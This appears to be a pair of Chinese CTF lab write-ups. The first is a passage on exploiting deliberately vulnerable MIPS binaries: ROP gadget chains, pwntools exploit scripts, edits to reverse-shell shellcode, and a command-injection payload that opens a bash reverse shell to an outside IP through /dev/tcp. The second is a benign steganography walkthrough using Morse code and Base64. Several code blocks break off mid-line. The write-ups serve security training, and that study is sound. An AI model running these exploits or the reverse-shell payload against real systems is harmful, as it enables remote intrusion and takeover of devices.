控制第一个参数,任选一个后面 rop 没有 gadget 继续构造就换一个 -。- ,我选着第二个构造 gadget1 = 0x2FB10 : .text:0002FB10 li $a0, 1 .text:0002FB14 move $t9, $s1 .text:0002FB18 jalr $t9 ; sub_2F818 接着需要找一个控制 s1 的 gadget ,用于控制执行完 gadget1 之后跳转到哪里。mipsrop.find("li $s1") 结果有很多,最后选了 gadget2 = 0x00007730 : .text:00007730 lw $ra, 0x18+var_s10($sp) .text:00007734 lw $s3, 0x18+var_sC($sp) .text:00007738 lw $s2, 0x18+var_s8($sp) .text:0000773C lw $s1, 0x18+var_s4($sp) .text:00007740 lw $s0, 0x18+var_s0($sp) .text:00007744 jr $ra 至此 a0 被控制为 1 ,目前 payload 结构为: payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += "????"#s1 payload += "bbbb"#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra 不能直接将 sleep(0x767142b0) 填到 s1 处,因为直接填地址跳转 sleep 缺少了跳转前将返回地址放到 ra 寄存器(或压栈)的过程,当 sleep 运行到结尾的 jalr $ra 时,又会跳转会到 gadget1 ,所以要换个方式。 mipsrop.tails() 找通过 s0\s2\s3 寄存器跳转的 gadget ,选择了 gadget3 = 0x00020F1C : .text:00020F1C move $t9, $s2 .text:00020F20 lw $ra, 0x18+var_sC($sp) .text:00020F24 lw $s2, 0x18+var_s8($sp) .text:00020F28 lw $s1, 0x18+var_s4($sp) .text:00020F2C lw $s0, 0x18+var_s0($sp) .text:00020F30 jr $t9 解决 sleep 运行结束返回地址问题,并 lw $ra, 0x18+var_sC($sp) 控制下一层跳转,payload 结构: payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a"*(0x18+0x4) payload += "cccc"#s0 payload += "cccc"#s1 payload += "cccc"#s2 payload += "????"#ra mipsrop.stackfinders() 找一个 gadget 提取栈地址放到寄存器中,找的时候还要注意控制下一次跳转选择 gadget4 = 0x16dd0 这个,通过 gadget3 提前将下次跳转地址写入 s0 : .text:00016DD0 addiu $a0, $sp, 0x38+var_20 .text:00016DD4 move $t9, $s0 .text:00016DD8 jalr $t9 payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a 最后找一个用 a0 跳转的 gadget ,一开始用 mipsrop.tails() 没找到,最后用 mipsrop.find("move $t9,$a0)") 找着了 gadget5 = 0x214a0 ,对 mipsrop 理解不够…… .text:000214A0 move $t9, $a0 .text:000214A4 sw $v0, 0x30+var_18($sp) .text:000214A8 jalr $t9 最后跳转 shellcode 时,0x000214A4 的这句汇编 sw $v0, 0x30+var_18($sp) 会将 shellcode 第一个指令替换为 nop ,用无意义指令填充,将 shellcode 向后移。 payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a"*(0x18+0x4) payload += p32(gadget5)#s0 payload += "cccc"#s1 payload += "cccc"#s2 payload += p32 EXP from pwn import * context.binary = "./pwnable/ShellCode_Required/stack_bof_02" context.arch = "mips" context.endian = "little" # libc_base = 0x766e5000 sleep = 0x767142b0#0x2F2B0+0x766e5000 gadget1 = 0x76714b10 ''' 0x76714b10: li a0,1 0x76714b14: move t9,s1 0x76714b18: jalr t9 ''' gadget2 = 0x766ec7 socket_bof 这题二进制文件用 ida 看伪代码有点瑕疵,本来溢出点变成了一个指针,导致一直找不到,最后无奈去看了下源码和结合汇编。 #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <stdio.h> #include <string.h> #include <stdlib.h> // Pwnable Socket Program // By b1ack0wl // Stack Overflow int main(int argc, char **argv[]) { if (argc <2){ printf("Usage: %s port_number - by b1ack0wl\n", argv[0]); exit(1); 栈溢出在这句 sprintf(endstr, "nom nom nom, you sent me %s", str); str 是 socket 传入的数据,长度内容为我们所控制,溢出 padding 为 51 调试方法 在 ubuntu 16.04 下 gdb-multiarch target remote :1234 链接上后报错退出,切换到 attify 能继续使用最常规方式调试:qemu-user 模式加 -g 打开调试端口,gdb-multiarch target remote :1234 链接上去。 # terminal 1 sudo qemu-mipsel-static -L . -g 1234 -strace ./pwnable/ShellCode_Required/socket_bof 8884 # terminal 2 gdb-multiarch set architecture mips set endian little target remote :1234 另外一个调试方法是 qemu system 启动 mips 系统,然后传入一个 gdb-server ,在里面运行程序然后 gdb-server attach 程序,再在外面用 gdb 链接上去。 attify 里面 gdb 插件是 gef ,用 vmmap 读不出 libc 地址 曲线救国在 0x00400D34 打下断点,单步跟进去查看 sprintf 的真实地址,然后再从 ./lib/libc.so.0 读取偏移算出基地址 全部题目用的 libc 都同一个,需要 shellcode 的题目,换下 shellcode 就能通用 exp 。前面 stack_bof_02 是在 ubuntu16 里面的脚本 libc_base 和 attify 不一样要换下基地址。 Stack_bof_02 的 execve('/bin/sh') 能打通 找一个反弹 shell 的 shellcode 替换,或者将 shell 绑定到某个端口 绑定 shell 的 shellcode 预期是开在本地的 4919 端口,实际运行后发现并不是,要自己查端口 -。- ,然鹅 nc 连上去后程序会蹦掉。 反弹 shell 的 shellcode 预编是反弹到 192.168.1.177:31337 ,要么修改网卡 ip ,要么就改一下 shellcode 传入的 ip 将 ip 地址转换成 16 进制 hex(192)#0xc0 hex(168)#0xa8 hex(1) #0x01 hex(177)#0xb1 #192.168.1.177==>0xB101A8C0 编译一下,编译失败看看是不是 binutils 没装 from pwn import context.arch = "mips" context.endian = "little" asm("li $a1, 0xB101A8C0") 然后搜索 \x01\xb1\x05\x3c\xc0\xa8\xa5\x34 替换为自己编译的: stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x0 EXP #!/usr/bin/python from pwn import * context.arch = 'mips' context.endian = 'little' libc_addr = 0x4089b000#0x766e5000 sleep = 0x0002F2B0 gadget1 = 0x2fb10 ''' 0x76714b10: li a0,1 0x76714b14: move t9,s1 0x76714b18: jalr t9 ''' gadget2 = 0x7730 ''' 0x766ec730: lw ra,40(sp) 0x766ec734: lw s3,36(sp) 0x7 socket_cmd EXP 依次打开终端运行 #terminal 0 qemu-mipsel-static -L . -strace ./pwnable/ShellCode_Required/socket_cmd 9999 #terminal 1 nc -lvvp 31337 #tarminal 2 nc 127.0.0.1 9999 hacked|`bash -c "bash -i >& /dev/tcp/192.168.211.9/31337 0>&1"` 是 iot 用户 nc 链接上去程序,程序是用 sudo 起来,所以切换到 root Uaf_01&heap_overflow 剩下两题 heap_overflow 和 uaf_01 没有什么思路,都是输入一次然后程序就退出了。 uaf_01 重新申请相同 0x11 ,就跳转 Awesome 那个分支,但没啥用。 heap_overflow 有个后门,输入机会只有一次,然后程序就会关掉。 参考文章 https://ctf-wiki.org/pwn/linux/mips/mips_rop/https://xz.aliyun.com/t/1511https://www.cnblogs.com/hac425/p/9416864.html 用实战磨练技术,加入网安实验室,1300+网安技能任你学!
CTF Stegano练习之隐写初探
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  今天要介绍的是CTF练习中的Stegano隐写题型。做隐写题的时候,工具是很重要的,接下来介绍一些工具。 1、TrID TrID是一款根据文件二进制数据特征进行判断的文件类型识别工具。虽然也有类似的文件类型识别工具,但是大多数都是使用硬编码的识别规则,而TrID则没有固定的匹配规则,TrID具有灵活的可扩展性,可以通过训练来进行文件类型的快速识别。 TrID通过附加的文件类型指纹数据库来进行匹配,可用于取证分析、未知文件识别等用途。 2、Audacity Audacity是一款自由且免费的音频编辑器和录音器。它是在Linux下发展起来的,有着傻瓜式的操作界面和专业的音频处理效果。使用Audacity可以帮助我们快速解决CTF中一些音频相关的题目。 这个实验还需要了解一些摩尔斯电码。 摩尔斯电码(Morse Code)是一种时通时断的信号代码,通过不同的排列顺序来表达不同的英文字母、数字和标点符号。是由美国人萨缪尔·摩尔斯在1836年发明。 摩斯码使用点(.)和横线(-)来表示各种字符,我们只需要知道某一串字符是摩斯码,然后使用解码工具进行解码即可。 实验内容和步骤 本次实验链接地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014121211151300001 来看实验描述:在实验主机上的C:\Stegano\1目录下为本题所提供的文件,请对这些文件进行分析,找到一个flag{XXXX}形式的Flag字符串。 来看实验打开cmd命令行,切换到C:\Stegano\1目录,然后使用TrID对其进行文件类型识别,如图所示: TrID对该文件的识别结果为:85.7%的可能性为XZ文件,14.2%的可能性为QuickBasic BSAVE文件。我们通过搜索引擎可以了解到XZ文件是一种压缩文件,因此可以使用7Zip进行解压(实验机器已经安装7Zip,右键选择通过7Zip解压即可)。 解压之后我们得到新文件hello_forensics~,仍然是一个没有扩展名的文件,我们再次使用TrID进行识别,得到的结果如图所示: TrID认为这是一个OGG文件。OGG是一种音频文件格式,大家如果平时有留意的话,在手机上一定见过这样的文件,许多手机内置的音效就是以OGG文件格式存在的。 接下来就是要用到我之前提到的Audacity,使用桌面上的Audacity工具打开我们提取出来的OGG文件,默认会显示音频文件左右两个声道的波形图,如图所示: 按住键盘左下角的Ctrl按键,同时滚动鼠标滚轮即可对波形图进行放大或者缩小操作,这里我们将波形图进行放大,然后播放OGG文件,我们发现在中间的某一个区间内夹杂着一些“滴滴”的声音,实际上这里是播放的摩斯码,通过对声道的波形图观察,可以看到如下的特征:(实验时可能无法通过远程桌面听到实验机器发出的声音,因此这里提供原始题目文件以及相关工具的下载,地址为http://heetian.qiniudn.com/steg.txt,大家可以下载下来在本地测试) 在Audacity中,将波形图放得越大,就越能明显的看到对应的摩斯码特征,通过对声音波形图的分析,我们可以得到摩斯码(摩斯码从第18秒开始播放,如果两段“滴滴”声之间的时间间隔在7~8秒左右,则认为是两个不同的摩斯码之间的分隔,用空格表示,如果两段“滴滴”声之间的时间间隔在2~3秒左右,则认为是同一个摩斯码的内容)。分析后得到的摩斯码为“.- ... - .- .-. .. ... -... --- .- .-. -.”,打开桌面上的JPK,将摩斯码输入之后,依次选择菜单项“Ascii”、“Decode”、“DeMorse”,得到字符串ASTARISBOARN。 通过实验步得到字符串ASTARISBOARN,将其当做密码对压缩包进行解压测试,发现可以成功解压,得到一个PDF文件。这个PDF文件直接看上去似乎没有什么有用的信息,但是对其中的文字进行选择操作的时候,发现页眉和页脚中似乎有一些不可见的文字,如图所示: 这里我们通过Ctrl+A对其中的文本进行全选,然后粘贴到记事本里面去,得到两个可疑的字符串: VjIweE5HRkdiM3BrUnpGT1UwVndjMWx0Y0ZkalJtd zJWbTFhYUZkRk5XMVhiVFZYWkZWc1dVMUVNRDA9 我们解密一下,将两个字符串拼接起来后进行Base64解码,得到另一个字符串V20xNGFGb3pkRzFOU0Vwc1ltcFdjRmw2Vm1aaFdFNW1XbTVXZFVsWU1EMD0=,仍然是Base64加密,经过这样的几次Base64解码之后,最后得到字符串flag{f0ren5ic5_is_fun!},这就是题目所要求要找的Flag字符串了。 CTF真是防不胜防,还顺便了解一下摩尔斯电码。这次实验真的是很有意思,解题过程比较简单,但是思路很重要。 用实战磨练技术,加入网安实验室,1300+网安技能任你学!